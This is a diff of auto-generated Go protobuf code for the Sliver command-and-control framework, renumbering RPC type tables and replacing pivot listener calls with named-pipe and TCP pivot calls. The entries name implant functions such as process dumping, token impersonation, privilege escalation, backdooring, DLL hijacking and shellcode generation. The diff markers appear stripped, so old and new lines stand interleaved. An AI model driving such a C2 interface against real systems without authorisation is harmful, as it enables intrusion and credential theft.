0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12,
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a,
0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61,
0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74,
0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d,
0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65,
0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62,
0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -506,9 +507,9 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.SideloadReq)(nil), // 47: sliverpb.SideloadReq
(*sliverpb.InvokeSpawnDllReq)(nil), // 48: sliverpb.InvokeSpawnDllReq
(*sliverpb.ScreenshotReq)(nil), // 49: sliverpb.ScreenshotReq
(*sliverpb.PivotStartListenerReq)(nil), // 50: sliverpb.PivotStartListenerReq
(*sliverpb.PivotStopListenerReq)(nil), // 51: sliverpb.PivotStopListenerReq
(*sliverpb.PivotListenersReq)(nil), // 52: sliverpb.PivotListenersReq
(*sliverpb.NamedPipesReq)(nil), // 50: sliverpb.NamedPipesReq
(*sliverpb.TCPPivotReq)(nil), // 51: sliverpb.TCPPivotReq
(*sliverpb.PivotListReq)(nil), // 52: sliverpb.PivotListReq
(*sliverpb.StartServiceReq)(nil), // 53: sliverpb.StartServiceReq
(*sliverpb.StopServiceReq)(nil), // 54: sliverpb.StopServiceReq
(*sliverpb.RemoveServiceReq)(nil), // 55: sliverpb.RemoveServiceReq
@@ -525,96 +526,99 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.SSHCommandReq)(nil), // 66: sliverpb.SSHCommandReq
(*clientpb.DllHijackReq)(nil), // 67: clientpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 68: sliverpb.GetPrivsReq
(*sliverpb.OpenSession)(nil), // 69: sliverpb.OpenSession
(*sliverpb.RegisterExtensionReq)(nil), // 70: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 71: sliverpb.CallExtensionReq
(*sliverpb.ListExtensionsReq)(nil), // 72: sliverpb.ListExtensionsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 73: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 74: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 75: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 76: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 77: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 78: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 79: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 80: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 81: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 82: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 83: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 84: sliverpb.TunnelData
(*clientpb.Version)(nil), // 85: clientpb.Version
(*clientpb.Operators)(nil), // 86: clientpb.Operators
(*clientpb.Sessions)(nil), // 87: clientpb.Sessions
(*clientpb.Session)(nil), // 88: clientpb.Session
(*clientpb.Beacons)(nil), // 89: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 90: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 91: commonpb.Response
(*clientpb.Jobs)(nil), // 92: clientpb.Jobs
(*clientpb.KillJob)(nil), // 93: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 94: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 95: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 96: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 97: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 98: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 99: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 100: clientpb.AllHosts
(*clientpb.Generate)(nil), // 101: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 102: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 103: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 104: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 105: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 106: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 107: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 108: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 109: clientpb.Compiler
(*clientpb.Websites)(nil), // 110: clientpb.Websites
(*sliverpb.Ps)(nil), // 111: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 112: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 113: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 114: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 115: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 116: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 117: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 118: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 119: sliverpb.Download
(*sliverpb.Upload)(nil), // 120: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 121: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 122: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 123: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 124: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 125: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 126: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 127: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 128: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 129: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 130: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 131: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 132: sliverpb.Screenshot
(*sliverpb.PivotListener)(nil), // 133: sliverpb.PivotListener
(*sliverpb.PivotListeners)(nil), // 134: sliverpb.PivotListeners
(*sliverpb.ServiceInfo)(nil), // 135: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 136: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 137: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 138: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 139: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 140: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 141: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 142: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 143: sliverpb.RegistryCreateKey
(*sliverpb.RegistrySubKeyList)(nil), // 144: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 145: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 146: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 147: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 148: sliverpb.GetPrivs
(*sliverpb.RegisterExtension)(nil), // 149: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 150: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 151: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 152: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 153: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 154: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 155: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 156: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 157: sliverpb.Portfwd
(*clientpb.Event)(nil), // 158: clientpb.Event
(*sliverpb.LibInjectReq)(nil), // 69: sliverpb.LibInjectReq
(*sliverpb.OpenSession)(nil), // 70: sliverpb.OpenSession
(*sliverpb.RegisterExtensionReq)(nil), // 71: sliverpb.RegisterExtensionReq
(*sliverpb.CallExtensionReq)(nil), // 72: sliverpb.CallExtensionReq
(*sliverpb.ListExtensionsReq)(nil), // 73: sliverpb.ListExtensionsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 74: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 75: sliverpb.WGPortForwardStopReq
(*sliverpb.WGSocksStartReq)(nil), // 76: sliverpb.WGSocksStartReq
(*sliverpb.WGSocksStopReq)(nil), // 77: sliverpb.WGSocksStopReq
(*sliverpb.WGTCPForwardersReq)(nil), // 78: sliverpb.WGTCPForwardersReq
(*sliverpb.WGSocksServersReq)(nil), // 79: sliverpb.WGSocksServersReq
(*sliverpb.ShellReq)(nil), // 80: sliverpb.ShellReq
(*sliverpb.PortfwdReq)(nil), // 81: sliverpb.PortfwdReq
(*sliverpb.Socks)(nil), // 82: sliverpb.Socks
(*sliverpb.SocksData)(nil), // 83: sliverpb.SocksData
(*sliverpb.Tunnel)(nil), // 84: sliverpb.Tunnel
(*sliverpb.TunnelData)(nil), // 85: sliverpb.TunnelData
(*clientpb.Version)(nil), // 86: clientpb.Version
(*clientpb.Operators)(nil), // 87: clientpb.Operators
(*clientpb.Sessions)(nil), // 88: clientpb.Sessions
(*clientpb.Session)(nil), // 89: clientpb.Session
(*clientpb.Beacons)(nil), // 90: clientpb.Beacons
(*clientpb.BeaconTasks)(nil), // 91: clientpb.BeaconTasks
(*commonpb.Response)(nil), // 92: commonpb.Response
(*clientpb.Jobs)(nil), // 93: clientpb.Jobs
(*clientpb.KillJob)(nil), // 94: clientpb.KillJob
(*clientpb.MTLSListener)(nil), // 95: clientpb.MTLSListener
(*clientpb.WGListener)(nil), // 96: clientpb.WGListener
(*clientpb.DNSListener)(nil), // 97: clientpb.DNSListener
(*clientpb.HTTPListener)(nil), // 98: clientpb.HTTPListener
(*clientpb.StagerListener)(nil), // 99: clientpb.StagerListener
(*clientpb.AllLoot)(nil), // 100: clientpb.AllLoot
(*clientpb.AllHosts)(nil), // 101: clientpb.AllHosts
(*clientpb.Generate)(nil), // 102: clientpb.Generate
(*clientpb.ImplantBuilds)(nil), // 103: clientpb.ImplantBuilds
(*clientpb.Canaries)(nil), // 104: clientpb.Canaries
(*clientpb.WGClientConfig)(nil), // 105: clientpb.WGClientConfig
(*clientpb.UniqueWGIP)(nil), // 106: clientpb.UniqueWGIP
(*clientpb.ImplantProfiles)(nil), // 107: clientpb.ImplantProfiles
(*clientpb.MsfStager)(nil), // 108: clientpb.MsfStager
(*clientpb.ShellcodeRDI)(nil), // 109: clientpb.ShellcodeRDI
(*clientpb.Compiler)(nil), // 110: clientpb.Compiler
(*clientpb.Websites)(nil), // 111: clientpb.Websites
(*sliverpb.Ps)(nil), // 112: sliverpb.Ps
(*sliverpb.Terminate)(nil), // 113: sliverpb.Terminate
(*sliverpb.Ifconfig)(nil), // 114: sliverpb.Ifconfig
(*sliverpb.Netstat)(nil), // 115: sliverpb.Netstat
(*sliverpb.Ls)(nil), // 116: sliverpb.Ls
(*sliverpb.Pwd)(nil), // 117: sliverpb.Pwd
(*sliverpb.Rm)(nil), // 118: sliverpb.Rm
(*sliverpb.Mkdir)(nil), // 119: sliverpb.Mkdir
(*sliverpb.Download)(nil), // 120: sliverpb.Download
(*sliverpb.Upload)(nil), // 121: sliverpb.Upload
(*sliverpb.ProcessDump)(nil), // 122: sliverpb.ProcessDump
(*sliverpb.RunAs)(nil), // 123: sliverpb.RunAs
(*sliverpb.Impersonate)(nil), // 124: sliverpb.Impersonate
(*sliverpb.RevToSelf)(nil), // 125: sliverpb.RevToSelf
(*sliverpb.GetSystem)(nil), // 126: sliverpb.GetSystem
(*sliverpb.Task)(nil), // 127: sliverpb.Task
(*sliverpb.ExecuteAssembly)(nil), // 128: sliverpb.ExecuteAssembly
(*sliverpb.Migrate)(nil), // 129: sliverpb.Migrate
(*sliverpb.Execute)(nil), // 130: sliverpb.Execute
(*sliverpb.Sideload)(nil), // 131: sliverpb.Sideload
(*sliverpb.SpawnDll)(nil), // 132: sliverpb.SpawnDll
(*sliverpb.Screenshot)(nil), // 133: sliverpb.Screenshot
(*sliverpb.NamedPipes)(nil), // 134: sliverpb.NamedPipes
(*sliverpb.TCPPivot)(nil), // 135: sliverpb.TCPPivot
(*sliverpb.PivotList)(nil), // 136: sliverpb.PivotList
(*sliverpb.ServiceInfo)(nil), // 137: sliverpb.ServiceInfo
(*sliverpb.MakeToken)(nil), // 138: sliverpb.MakeToken
(*sliverpb.EnvInfo)(nil), // 139: sliverpb.EnvInfo
(*sliverpb.SetEnv)(nil), // 140: sliverpb.SetEnv
(*sliverpb.UnsetEnv)(nil), // 141: sliverpb.UnsetEnv
(*sliverpb.Backdoor)(nil), // 142: sliverpb.Backdoor
(*sliverpb.RegistryRead)(nil), // 143: sliverpb.RegistryRead
(*sliverpb.RegistryWrite)(nil), // 144: sliverpb.RegistryWrite
(*sliverpb.RegistryCreateKey)(nil), // 145: sliverpb.RegistryCreateKey
(*sliverpb.RegistrySubKeyList)(nil), // 146: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 147: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 148: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 149: clientpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 150: sliverpb.GetPrivs
(*sliverpb.LibInject)(nil), // 151: sliverpb.LibInject
(*sliverpb.RegisterExtension)(nil), // 152: sliverpb.RegisterExtension
(*sliverpb.CallExtension)(nil), // 153: sliverpb.CallExtension
(*sliverpb.ListExtensions)(nil), // 154: sliverpb.ListExtensions
(*sliverpb.WGPortForward)(nil), // 155: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 156: sliverpb.WGSocks
(*sliverpb.WGTCPForwarders)(nil), // 157: sliverpb.WGTCPForwarders
(*sliverpb.WGSocksServers)(nil), // 158: sliverpb.WGSocksServers
(*sliverpb.Shell)(nil), // 159: sliverpb.Shell
(*sliverpb.Portfwd)(nil), // 160: sliverpb.Portfwd
(*clientpb.Event)(nil), // 161: clientpb.Event
}
var file_rpcpb_services_proto_depIdxs = []int32{
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -694,9 +698,9 @@ var file_rpcpb_services_proto_depIdxs = []int32{
47, // 74: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
48, // 75: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
49, // 76: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
50, // 77: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
51, // 78: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
52, // 79: rpcpb.SliverRPC.PivotListeners:input_type -> sliverpb.PivotListenersReq
50, // 77: rpcpb.SliverRPC.NamedPipes:input_type -> sliverpb.NamedPipesReq
51, // 78: rpcpb.SliverRPC.TCPListener:input_type -> sliverpb.TCPPivotReq
52, // 79: rpcpb.SliverRPC.ListPivots:input_type -> sliverpb.PivotListReq
53, // 80: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
54, // 81: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
55, // 82: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
@@ -713,142 +717,144 @@ var file_rpcpb_services_proto_depIdxs = []int32{
66, // 93: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
67, // 94: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
68, // 95: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
69, // 96: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
70, // 97: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
71, // 98: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
72, // 99: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
73, // 100: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
74, // 101: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
75, // 102: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
76, // 103: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
77, // 104: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
78, // 105: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
79, // 106: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
80, // 107: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
81, // 108: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
81, // 109: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
82, // 110: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
83, // 111: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
83, // 112: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
84, // 113: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 114: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
85, // 115: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
86, // 116: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 117: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
87, // 118: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
88, // 119: rpcpb.SliverRPC.UpdateSession:output_type -> clientpb.Session
89, // 120: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
3, // 121: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 122: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
90, // 123: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
4, // 124: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
91, // 125: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 126: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
92, // 127: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
93, // 128: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
94, // 129: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener
95, // 130: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener
96, // 131: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener
97, // 132: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener
97, // 133: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener
98, // 134: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
98, // 135: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener
11, // 136: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 137: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
11, // 138: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
11, // 139: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
99, // 140: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
99, // 141: rpcpb.SliverRPC.LootAllOf:output_type -> clientpb.AllLoot
100, // 142: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
12, // 143: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 144: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 145: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
101, // 146: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
101, // 147: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
102, // 148: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 149: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
103, // 150: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
104, // 151: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
105, // 152: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
106, // 153: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 154: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
17, // 155: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
107, // 156: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
108, // 157: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
109, // 158: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
110, // 159: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
20, // 160: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 161: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
20, // 162: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
20, // 163: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
20, // 164: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
23, // 165: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
111, // 166: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
112, // 167: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
113, // 168: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
114, // 169: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
115, // 170: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
116, // 171: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
116, // 172: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
117, // 173: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
118, // 174: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
119, // 175: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
120, // 176: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
121, // 177: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
122, // 178: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
123, // 179: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
